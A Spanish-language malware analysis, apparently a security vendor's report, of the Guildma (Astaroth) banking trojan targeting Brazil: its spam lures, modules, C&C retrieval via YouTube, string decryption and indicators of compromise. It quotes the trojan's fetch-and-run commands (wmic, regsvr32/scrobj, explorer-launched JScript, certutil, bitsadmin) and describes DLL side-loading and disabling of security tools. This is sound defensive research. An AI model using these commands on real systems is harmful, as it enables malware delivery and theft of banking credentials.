En esta publicación analizaremos a Guildma (también conocido como Astaroth, un poderoso demonio), un troyano bancario latinoamericano de gran prevalencia. Este troyano, escrito en Delphi, que apunta a usuarios de Brasil, cuenta con algunas técnicas de ejecución y ataque innovadoras. En esta publicación describiremos la versión más reciente de este troyano, destacando los cambios más importantes realizados desde mediados de 2019, cuando se publicaron varios artículos sobre Guildma a raíz de lo que fue su campaña más grande hasta el momento.

Características de Guildma

Guildma es un troyano bancario que apunta sus campañas exclusivamente a Brasil. Según datos de nuestra telemetría (y también por la atención pública que recibió), creemos que es el troyano bancario más impactante y avanzado de la región. Además de apuntar a las instituciones financieras, Guildma también intenta robar credenciales de cuentas de correo electrónico, tiendas en línea y servicios de streaming, y afecta a una cantidad de víctimas diez veces mayor que cualquiera de los otros troyanos bancarios ya descritos en nuestra serie sobre troyanos bancarios de América Latina. Asimismo, utiliza innovadores métodos de ejecución y sofisticadas técnicas de ataque.

A diferencia de los otros troyanos bancarios que hemos descrito como parte de esta serie, Guildma no almacena las falsas ventanas emergentes que usa dentro del binario. En cambio, el ataque está orquestado por su servidor C&C. Esto les da a los autores una mayor flexibilidad para reaccionar ante las contramedidas implementadas por los bancos seleccionados.

Guildma implementa las siguientes funcionalidades de backdoor:

  • Realiza capturas de pantalla
  • Registra las pulsaciones de teclado
  • Emulación de teclado y mouse
  • Bloqueo de atajos de teclado (como deshabilitar Alt + F4 para que sea más difícil deshacerse de las ventanas falsas que puede mostrar)
  • Descarga y ejecuta archivos
  • Reinicio de la máquina

Guildma es muy modular. Al momento de escribir esta publicación está compuesto por 10 módulos, sin incluir las etapas de la cadena de distribución. La funcionalidad de los módulos individuales se discutirá más adelante.

Evolución de las cadenas de distribución

Según datos de nuestra telemetría, Guildma se propaga exclusivamente a través de correos spam que incluyen archivos adjuntos maliciosos. A continuación, compartimos algunos ejemplos de una campaña de mediados de noviembre de 2019.

Figura 1. Ejemplo de correo spam (traducción: "Hola, me podría explicar qué significan esas fotos. ¡Espero una explicación")

Figura 2. Ejemplo de correo spam (traducción: " Sr.(a) emiembro del consorcio, envío en adjunto el comprobante de la oferta nº 75432 realizada").

Figura 3. Ejemplo de correo spam (traducción: "Buenos días, estoy enviando comprobante de la transferencia - DOC.Citibank")

Figura 4. Ejemplo de correo spam. Falso recordatorio de factura indica que un pago vence después de mañana y que el pago puede demorar hasta 72 horas en procesarse.

Una de las características típicas de las cadenas de distribución de Guildma es la de utilizar herramientas ya presentes en el sistema, a menudo de formas nuevas e inusuales.

Otra característica es la reutilización de técnicas. Si bien agregan nuevas técnicas de vez en cuando, en general los desarrolladores parecen simplemente reutilizar técnicas de versiones anteriores.

Figura 5. Cadena de distribución de Guildma en la versión 150

La Figura 5 muestra la cadena de distribución para la versión 150, pero la estructura de las cadenas de distribución de Guildma es muy dinámica. Por ejemplo, en versiones anteriores, el archivo LNK malicioso que se muestra en la Figura 5 no estaba embebido en un archivo ZIP, o se utilizó en su lugar un archivo SFX RAR que contenía un instalador MSI. Además, solía haber otra etapa JScript cuyo único propósito era descargar y ejecutar la etapa JScript final. En síntesis, son demasiados los cambios que ha habido como para lograr comentarlos todos en este artículo. De hecho, la única parte que se ha mantenido prácticamente igual es la etapa JScript final.

Utilizando datos recabados del extenso seguimiento que hemos realizado de esta familia, hemos compilado una muy buena imagen de la actividad de Guildma.

La Figura 6 muestra todas las detecciones de ESET del componente de la primera etapa de Guildma. Como se puede observar, las campañas crecieron lentamente hasta la llegada de una campaña masiva en agosto de 2019, cuando vimos hasta 50,000 muestras por día. Esta campaña continuó durante casi dos meses y significó más del doble de la cantidad de detecciones que habíamos visto en los 10 meses anteriores.

Figura 6. Detecciones de la primera etapa de Guildma desde octubre de 2018

A continuación, presentamos un resumen de algunas de las técnicas más interesantes utilizadas en los últimos 14 meses.

Ejecución de la etapa JScript

Durante el último año, Guildma ha utilizado varios métodos para ejecutar las etapas JScript de su cadena de distribución. A finales de 2018, Guildma estaba ocultando su código en archivos eXtensible Stylesheet Language (.xsl) y utilizando wmic.exe para descargarlos y ejecutarlos:

wmic.exe <wmic query> /format:"<URL>"

Luego pasó a usar regsvr32.exe y scrobj.dll para descargar un objeto COM implementado con JScript y ejecutar su rutina de registro (que contenía el código malicioso):

regsvr32.exe /s /n /u /i:<URL> scrobj.dll

Más recientemente, los autores comenzaron a abusar del Explorador de Windows para ejecutar la etapa JScript. Este ataque se basa en que Windows Explorer intentará abrir en la línea de comandos cualquier archivo que le envíen con su programa asociado y el hecho de que la asociación predeterminada para los archivos .js es el Microsoft Windows Script Host. El "script" pasado al Explorador de Windows es un comando único cuyo propósito es descargar y ejecutar la etapa JScript real:

echo GetObject('script:<URL>') > <file>.js | explorer.exe <random switches> <file>.js

Ejecución de los módulos binarios

Los métodos para ejecutar los módulos PE no son menos diversos.

Cuando comenzamos a rastrear Guildma, abusaba de aswRunDll.exe de Avast para lanzar la primera etapa binaria, con regsvr32.exe como una conmutación por error en computadoras en las que los productos de Avast no estaban instalados. El uso de aswRunDll.exe se eliminó, dejando regsvr32.exe como el único método de ejecución. Después de un breve período en el que utilizó rundll32.exe, Guildma cambió a su método de ejecución actual: ExtExport.exe.

ExtExport.exe es un componente indocumentado de Microsoft Internet Explorer que se utiliza para exportar marcadores desde Mozilla Firefox y 360 Secure Browser, y se puede abusar de él para la carga lateral de DLL. Cuando se ejecuta el siguiente comando, se cargan mozcrt19.dll, mozsqlite3.dll, y sqlite3.dll desde la carpeta especificada en la línea de comandos:

C:\Program Files\Internet Explorer\ExtExport.exe <folder> <dummy 1> <dummy 2>

Para abusar de esto, normalmente droppearía la DLL para cargarla como uno de los archivos mencionados anteriormente. Guildma usa los tres.

Descargando los módulos binarios

Guildma también ha utilizado un par de formas diferentes para descargar los módulos binarios. La primera versión estaba usando exe copiado a certis.exe (presumiblemente para evadir la detección):

certis.exe -urlcache -split -f "<URL>" "<destination path>"

Los autores luego cambiaron a BITSAdmin, la herramienta de administración Background Intelligent Transfer Service de Microsoft, y todavía la están usando al momento de escribir esta publicación:

bitsadmin.exe /transfer <random number> /priority foreground <URL> <destination>

Durante un par de meses, los módulos binarios fueron codificados en base64 y alojados en Google Cloud. En ese momento, Guildma estaba usando BITSAdmin y certutilBITSAdmin para descargar los módulos y certutil para decodificarlos.

Otros cambios

Guildma utiliza nombres extraños, no descriptivos de variables y funciones. Cuando comenzamos a rastrear a Guildma, los nombres, aunque carecían de sentido, estaban claramente hechos por el hombre (por ejemplo, "radador" para la función de número aleatorio o "Bxaki" para la función de descarga). En junio de 2019, todos se cambiaron a nombres de aspecto aleatorio (por ejemplo, "bx021" y "mrc430" ). Al principio pensamos que los autores implementaron algún tipo de ofuscador de scripts automático, pero resultó ser un cambio único y los nombres han permanecido igual desde entonces.

Una adición relativamente nueva es la antigua técnica de utilizar ADS (Alternate Data Streams) para almacenar los módulos binarios. Todos los módulos ahora se almacenan como ADS de un solo archivo (por ejemplo, "desktop.ini: nauwuygiaa.jpg", "desktop.ini: nauwuygiab.jpg", etc.).

Historial de versiones

Aparentemente, Guildma ha pasado por muchas versiones durante su desarrollo, pero generalmente hubo muy poco desarrollo entre versiones, debido a su pesada arquitectura que utiliza valores de configuración hardcodeados, los autores deben recopilar todos los binarios para cada nueva campaña. Un trabajo que claramente no está completamente automatizado, ya que a menudo ha habido un retraso significativo entre la actualización del número de versión en los scripts y en los binarios.

En este artículo, cubrimos la versión 150, pero desde que comenzamos a escribir, se han lanzado dos versiones más. No contienen cambios sustanciales en la funcionalidad o distribución, lo que respalda nuestras afirmaciones sobre el ciclo de desarrollo de Guildma.

La etapa final de la cadena de distribución solía contener un nombre de versión (e incluso antes de eso, solía descargar dicho nombre junto con los módulos binarios), pero ha sido (presumiblemente) reemplazado permanentemente con un simple "xXx" desde la versión 148.

La Tabla 1 resume todas las versiones lanzadas desde que comenzamos a rastrear Guildma activamente en octubre de 2018. Al observar las strings de versiones, tenemos la sensación de que el autor es un apasionado de la ecología y los autos veloces.

Tabla 1. Historial de versiones de Guildma

First seen Version number Version name Version prefix
2018-09-18 131 131_SUPER_Tesla marxvxinhhm
2018-10-31 132 132_ULTRA_Tesla srsysddirrx
2018-11-28 133 133_TORRE_DE_Tesla mxgetronicosxy
2018-11-29 134 134_MAXX_TESLAs dwqiopawsamazon
2018-12-03 135 135_MOAB_TESLAs lu769tsla
2018-12-13 136 136_KRAKEN_TESLAs lrdsnhrxxfery
2019-02-06 137 137_RAPTOR_TESLAs rakpat0rpcack
2019-03-21 138 138_RAPTOR_TESLAs_ hillwd763free
2019-05-20 139 139_TESLA_ falxconxrenw
2019-06-03 140 140_ASTH_ valehraysystqx
2019-06-24 141 141_T3SL4S_ ayt3ese4xw
2019-07-17 142 142_T3SL4S_ halawxtz
2019-08-09 143 143_T3SL4S_ asmonnwqk
2019-08-26 144 144_MULT1T3SL4S_ daffsyshqy
2019-09-26 145 145_MULT1T3SL4S_ landoqeahjky
2019-10-16 146 146_MULT1T3SL4S_ valkanxpca
2019-11-04 147 147_MULT1T3SL4S_ koddsuffy
2019-11-19 148 xXx lpquayevvt
2019-11-22 149 #rowspan# nauwuygia
2019-12-13 150 #rowspan# andrealfo
2020-01-14 151 #rowspan# balberith
2020-02-05 152 #rowspan# masihaddajjal

Descripción del módulo

Como se mencionó anteriormente, Guildma es muy modular. La estructura de sus módulos parece ser mayormente constante. En esta sección, describiremos brevemente la funcionalidad de cada módulo.

Todos los nombres de los módulos están compuestos por: un prefijo compartido y dependiente de la versión y un sufijo específico del módulo. En la Tabla 2, el prefijo dependiente de la versión es andrealfo.

Table 2. Guildma module overview

URL filename Filesystem filename Module
andrealfohh1a.dll.zip andrealfo64.~ Main module loader 1 (part 1)
andrealfohh1b.dll.zip #rowspan# Main module loader 1 (part 2)
andrealfoxa.gif.zip andrealfoxa.gif Main module injector (part 1)
andrealfoxb.gif.zip andrealfoxb.gif Main module injector (part 2)
andrealfoxc.gif.zip andrealfoxc.gif Main module injector (part 3)
andrealfogx.gif.zip andrealfogx.gif Main module loader 2
andrealfog.gif.zip andrealfog.gif Main module
andrealfoc.jpg.zip andrealfoc.jpg Contacts stealer and form grabber module
andrealfodwwn.gif.zip andrealfodwwn.gif RAT module (DLL)
andrealfodx.gif.zip andrealfodx.gif RAT module (EXE)
andrealfoa.jpg.zip andrealfoa.jpg MailPassView
andrealfob.jpg.zip andrealfob.jpg WebBrowserPassView
andrealfoi.gif.zip andrealfoi.gif JScript dropper module

A excepción del módulo principal loader 1 (*64.~) y del módulo injector principal (*xa.gif, *xb.gif and *xc.gif), todos los módulos están encriptados con un simple cifrado XOR usando una repetición Clave de 32 bytes. La clave se genera a partir de un seed de 32 bits utilizando el algoritmo que se muestra en la Figura 7. El valor del seed se ofusca en los binarios para evitar una extracción simple (ver Figura 8).

Figura 7. Algoritmo de generación de claves

Figura 8. Ofuscación del seed en el binario

Tres módulos se comunican con un servidor C&C: el módulo principal, el módulo RAT y el módulo para robar contactos y capturar formularios. La comunicación se realiza a través de HTTP (S) utilizando una combinación de base64 y varios algoritmos de cifrado simples y personalizados para proteger los datos que se transfieren.

En la siguiente sección, describimos cómo se obtiene la dirección del servidor C&C.

Módulo principal loader 1 (* 64. ~)

Esta es la primera etapa binaria de la cadena. El archivo es una DLL descargada en dos partes que es concatenada en la etapa JScript anterior. Carga los tres archivos que comprenden el loader de la siguiente etapa (*xa.gif, *xb.gif y *xc.gif), los concatena, asigna el archivo PE resultante en su propio espacio de direcciones y lo ejecuta.

Cargar un archivo PE es un proceso relativamente complejo, por lo que los autores utilizaron la biblioteca de código abierto BTMemoryModule para este propósito

Injector del módulo principal (* xa.gif + * xb.gif + * xc.gif)

Este módulo carga la siguiente etapa (* gx.gif) del disco y la descifra. Luego ejecuta el primer ejecutable existente de la siguiente lista e inyecta el payload descifrado en él.

  1. C:\Program Files\AVAST Software\Avast\aswRunDll.exe
  2. C:\Program Files\Diebold\Warsaw\unins000.exe *
  3. C:\Windows\SysWOW64\userinit.exe
  4. C:\Windows\System32\userinit.exe

* Una aplicación, popular en Brasil, para proteger el acceso a la banca en línea.

Módulo principal loader 2 (* gx.gif)

La última etapa del loader es muy simple y parece duplicar innecesariamente la funcionalidad del módulo principal loader 1. Carga y descifra el módulo principal (*g.gif), lo mapea en su propio espacio de memoria y lo ejecuta

Módulo principal (* g.gif)

El módulo principal de Guildma organiza todos los módulos restantes. Su implementación es engañosamente compleja, utilizando innumerables temporizadores y eventos, pero su funcionalidad es relativamente simple. Contiene código heredado que ya no es utilizado, así como el código de pre-producción que todavía no está siendo utilizado.

Una vez cargado, este módulo verifica si está siendo ejecutado en un entorno de sandbox (por ejemplo, examinando el nombre de la computadora y la ID del volumen del disco del sistema), si hay otras instancias de sí mismo en ejecución (según los nombres de las ventanas) y si la configuración regional del sistema es diferente del portugués. Si este proceso comprueba que el sistema no es interesante o que ya ha sido comprometido por Guildma, el malware termina.

De lo contrario, el módulo recopila información del sistema (nombre de la computadora, qué antivirus está utilizando, qué programas tiene instalados...) y establece contacto con el servidor de C&C. Luego, comienza a monitorear eventos interesantes, principalmente cuando se inician ciertas aplicaciones o se abren sitios de banca en línea, y a ejecutar ciertas acciones (por ejemplo: tomar capturas de pantalla, evitar que el usuario cierre la ventana interceptando atajos de teclado, inicia el módulo RAT, etc.).

El módulo también implementa comandos de backdoor cuya funcionalidad se superpone en gran medida con el módulo RAT.

Ladrón de contactos y capturador de formularios (* c.jpg)

Este módulo tiene dos funciones: recopilar direcciones de correo electrónico y datos de formularios de páginas web.

Las direcciones de correo electrónico se obtienen de los clientes de correo electrónico de escritorio (como Microsoft Outlook, ThunderBird y The Bat!) parseando sus libretas de direcciones y los propios correos electrónicos.

El capturador de formularios utiliza la tecnología de Windows COM para interactuar con Internet Explorer. Espera hasta que se abra un sitio específico (en su mayoría servicios de correo brasileños, tiendas electrónicas y pasarelas de pago) y luego cierra la sesión del usuario, obligando a la víctima a ingresar sus credenciales. Luego recupera el DOM y busca valores de campo de entrada importantes (como nombres de usuario, contraseñas y números de tarjetas de crédito).

Módulo RAT (* dwwn.gif, * dx.gif)

El módulo RAT viene en dos compilaciones funcionalmente idénticas: DLL (*dwwn.gif) y EXE (*.dx.gif)

Implementa la funcionalidad de descarga y ejecución, puede realizar capturas de pantalla, emular acciones de teclado y mouse, y reiniciar la computadora.

La mayoría de los troyanos bancarios de América Latina muestran falsas ventanas emergentes basadas en el monitoreo del nombre de la ventana activa. Estas ventanas generalmente se almacenan en el binario. No hemos encontrado dicho código en Guildma, pero el módulo RAT contiene un formulario Delphi que implementa un navegador web simple. Dado que también se ejecuta según el nombre de la ventana activa, creemos que este formulario se utiliza para desplegar falsos diálogos al usuario.

MailPassView (* a.jpg) y BrowserPassView (* b.jpg)

Estas son herramientas gratuitas de Nirsoft para extraer credenciales guardadas tanto de clientes de correo electrónico populares como de navegadores web. Dado que en las versiones más recientes Nirsoft ha eliminado el soporte para ciertas operaciones (output a archivo, sin GUI) para detener el abuso de estas herramientas por malware, los autores de Guildma están utilizando versiones anteriores que sí tenían esas características. Mispadu también aprovecha las mismas herramientas, excepto que Mispadu está utilizando versiones más nuevas parcheadas para soportar dichas operaciones

Módulo dropper de JScript (* i.gif)

Este módulo descarta y ejecuta (usando cscript.exe) un archivo JScript. El script consta de dos partes: la primera parte se almacena como una string larga cifrada, mientras que la segunda parte se ensambla a partir de muchas strings cortas (algunas cifradas y otras en texto plano).

El script ejecuta las siguientes acciones

  • Deshabilita UAC
  • Deshabilita la comprobación de firma EXE
  • Deshabilita Windows Defender
  • Crea una regla de firewall que deshabilita el acceso a la red para
    C:\Program Files\AVAST Software\Avast\Setup\avast.setup
  • Deshabilita el driver wsddntf (Diebold Warsaw GAS Tecnologia - el software de protección de acceso bancario presentado anteriormente)
  • Agrega una excepción de firewall para archivos utilizados como objetivos de inyección
    • C:\Program Files\Diebold\Warsaw\unins000.exe
    • C:\Program Files\AVAST Software\Avast\aswRunDll.exe

Creemos que este módulo aún puede estar en desarrollo, ya que nunca hemos observado en nuestras máquinas de prueba el droppeado de script.

Nuevos desarrollos (desde mediados de 2019)

Nueva recuperación de C&C

En la versión 142 se implementó una nueva forma de distribuir servidores C&C abusando de los perfiles de YouTube y Facebook. Sin embargo, los autores dejaron de usar Facebook casi de inmediato, pero al momento de escribir esta publicación, confían completamente en YouTube. Esto es similar a Casbaneiro, aunque un poco más crudo. Mientras Casbaneiro ocultaba los datos en las descripciones de los videos y los ofuscaba como parte de una URL, Guildma simplemente coloca los datos en la descripción del canal. El inicio y el final de las direcciones C&C cifradas están delimitados por "|||". Los datos intermedios están codificados y cifrados en base64 utilizando el algoritmo de cifrado de strings de Mispadu. Este es ahora el método principal para recuperar servidores C&C. El método anterior (descrito por Avast) todavía está presente como una copia de seguridad.

Figura 9. Dominios cifrados del servidor C&C de Guildma almacenados en YouTube

Módulos añadidos y eliminados

El módulo dropper de JScript descrito anteriormente se agregó en la versión 145. Por el contrario, en la versión 139, Guildma eliminó otros dos módulos presentes en versiones anteriores: el correo masivo (*f.jpg) y su loader (*e.jpg). En las siguientes versiones, estos módulos todavía eran accesibles con los nombres esperados (<version prefix>e.jpg y <version prefix>f.jpg) desde el mismo servidor que los otros módulos. Esto nos lleva a creer que estos módulos aún están en desarrollo, pero ahora solo se distribuyen según sea necesario, presumiblemente utilizando el comando de descarga y ejecución de backdoor.

Nuevo cifrado de strings

El módulo dropper de JScript trajo consigo un nuevo algoritmo de cifrado de strings. Una variante de este algoritmo (que se muestra en la Figura 10) se propagó a otros módulos en la versión 147.

def decrypt ( ct, key ):
	# stage 1
	ct = unhexlify ( ct );
	last = ct [ 0 ];
	s = bytearray ( ct [ 1 : ] );
	for i in range ( len ( s ) ):
		x = s [ i ] ^ key [ i % len ( key ) ];
		if last > x:
			x += 0xff;
		x -= last;
		last = s [ i ];
		s [ i ] = x;

	# stage 2 - reverse string
	s = s [::-1]; 

	# stage 3 - c = not ( c - 10 )
	s = "" . join ( [ chr ( ( ~( c - 10 ) ) & 0xff ) for c in s ] ); 

	# stage 4 - Base25 decode and key subtraction
	k = ord ( s [ 0 ] ) - 65;
	ot = "";
	for i in range ( 1, len ( s ), 2 ):
		ot += chr ( ( ord ( s [ i ] ) - 65 ) * 25 + ord ( s [ i + 1 ] ) - 65 - k - 100 );

	return ot;

Figura 10. Nuevo algoritmo de cifrado de strings

Originalmente, Guildma estaba usando el mismo cifrado de strings que Casbaneiro. El nuevo algoritmo tiene cuatro etapas y, como se puede ver, el algoritmo de cifrado de strings original todavía se usa como la primera etapa. También vale la pena destacar el hecho de que la cuarta etapa está utilizando nuevamente el algoritmo de cifrado de Mispadu.

En la versión 148, Guildma implementó una tabla de strings. Todas las strings se descifran al comienzo de la ejecución y se accede a ellas desde la tabla cuando es necesario.

Eliminación de blancos internacionales

En la versión 138, Guildma agregó la capacidad para apuntar a instituciones (principalmente bancos) fuera de Brasil. A pesar de eso, no hemos observado campañas internacionales. Las campañas que alojan archivos en la infraestructura de Cloudflare Workers incluso llegaron a bloquear cualquier descarga que provenga de IP no brasileñas. De hecho, en los últimos 14 meses no hemos visto ninguna campaña dirigida a usuarios fuera de Brasil

Finalmente, en la versión 145 se eliminó la capacidad de apuntar a instituciones fuera de Brasil. En base a estos hechos, creemos que fue simplemente una característica en desarrollo que terminó siendo descartada.

Conclusión

En esta parte de la serie hemos hablado sobre Guildma, el más frecuente que hemos visto de los troyanos bancarios de América Latina. Hemos mostrado su rico desarrollo histórico mientras nos centramos en la variante más reciente.

Guildma comparte una vez más las características predominantes de los troyanos bancarios latinoamericanos. Está escrito en Delphi, apunta a la región, implementa la funcionalidad de backdoor, divide su funcionalidad en muchos módulos y abusa de herramientas legítimas.

Guildma también comparte características con otras de las familias que hemos analizado anteriormente como parte de esta serie sobre troyanos bancarios de América Latina. A saber, su algoritmo de cifrado actual combina los utilizados por Casbaneiro y Mispadu.

Para cualquier consulta escríbanos a threatintel@eset.com. Los indicadores de compromiso también se pueden encontrar en nuestro repositorio de GitHub.

Indicadores de Compromiso (IoCs)

Hashes

SHA-1 Description ESET Detection name
45c58bc40768dce6a6c611e08fd34c62441aa776 Main module loader 1 Win32/Spy.Guildma.BM
861f20b0dcc55f94b4c43e4a7e77f042c21506cf Main module injector Win32/Spy.Guildma.BJ
37fd19b1ab1dcc25e07bc96d4c02d81cf4edb8a1 Main module loader 2 Win32/Spy.Guildma.Q
a7b10b8de2b0ef898cff31fa2d9d5cbaae2e9d0d Main module Win32/Spy.Guildma.BS
4f65736a9d6b94b376c58b3cdcb49bbd295cd8cc Contacts stealer and form grabber Win32/Spy.Guildma.D
6c9304c5862d4e0de1c86d7ae3764f5e8358daff RAT module (DLL) Win32/Spy.Guildma.BR
89fbffe456de850f7abf4f97d3b9da4bad6afb57 RAT module (EXE) Win32/Spy.Guildma.BR
af0d495ecc3622b14a40ddcd8005873c5ddc3a2d MailPassView Win32/PSWTool.MailPassView.E
92bcf54079cbba04f584eac4486473c3abdd88cd WebBrowserPassView Win32/PSWTool.WebBrowserPassView.E
a2048f435f076988bf094274192a196216d75a5f JScript dropper module Win32/Spy.Guildma.BP

Nombres de archivo

C:\Users\Public\Libraries\qlanl\*

Link de inicio

  • Ubicación

%APPDATA%\Microsoft\Programs\StartUp\reiast%USERNAME%%COMPUTERNAME%.lnk

  • Blancos

C:\Program Files (x86)\Internet Explorer\ExtExport.exe
C:\Program Files\Internet Explorer\ExtExport.exe

  • Args

<install dir> <rand> <rand>
(where <rand> is a random, 5 to 9 character long string generated from the alphabet qwertyuiop1lgfdsas2dfghj3zcvbnmm)

Servidores C&C

  • https://www.zvatrswtsrw[.]ml
  • https://xskcjzamlkxwo[.]gq
  • https://www.vhguyeu[.]ml
  • https://www.carnataldez[.]ml
  • https://www.movbmog[.]ga
  • https://iuiuytrytrewrqw[.]gq
  • https://www.gucinowertr[.]tk
  • https://equilibrios[.]ga
  • https://www.clooinfor[.]cf
  • https://ambirsr[.]tk
  • https://dbuhcbudyu[.]tk
  • https://nvfjvtntt[.]cf
  • http://whia7g.acquafufheirybveru[.]online

Técnicas de MITRE ATT&CK

Tactic ID Name Description
Initial Access T1193 Spearphishing Attachment Guildma distribution chains start with a malicious email attachment.
Execution T1073 Rundll32 Guildma utilizes rundll32.exe to execute its binary modules.
T1047 Windows Management Instrumentation Guildma abuses WMIC.exe to execute some of its distribution chain stages.
Persistence T1060 Registry Run Keys / Startup Folder Guildma ensures persistence by creating a LNK file in the %STARTUP% folder.
Defense Evasion T1197 BITS Jobs BITSAdmin.exe is used to download binary modules.
T1089 Disabling Security Tools Guildma disables Windows Defender.
T1140 Deobfuscate/Decode Files or Information The majority of Guildma modules need to be decrypted after downloading.
T1073 DLL Side-Loading Guildma abuses ExtExport.exe for DLL Side-Loading.
T1096 NTFS File Attributes Guildma utilizes ADS to hide its modules on disk.
T1055 Process Injection Guildma utilizes process injection when executing its modules.
T1064 Scripting Guildma implements its distribution chain stages in various scripting languages (mainly JScript).
T1220 XSL Script Processing Guildma utilizes XSL script(s) in its distribution chains.
Credential Access T1081 Credentials in Files Guildma extracts credentials stored by web browsers and email clients in files.
T1214 Credentials in Registry Guildma extracts credentials stored by web browsers and email clients in Windows Registry.
Discovery T1083 File and Directory Discovery Guildma uses presence of certain files to determine whether banking and security tools are installed.
T1010 Application Window Discovery Guildma uses window discovery to find and terminate older versions of itself and to detect when interesting programs (e.g. banking applications or web browsers) are running.
T1063 Security Software Discovery Guildma detects the presence of several security products.
T1082 System Information Discovery Guildma collects OS version and bitness, computer name and system locale.
T1497 Virtualization/Sandbox Evasion Guildma uses directory names, computer names, volume IDs, and existence of named objects to detect sandboxes and virtualized environments.
Collection T1113 Screen Capture Guildma is capable of taking screenshots.
Command and Control T1024 Custom Cryptographic Protocol New C&C addresses are encrypted using custom encryption algorithms.
Exfiltration T1041 Exfiltration Over Command and Control Channel Guildma uploads screenshots and log files to the C&C server.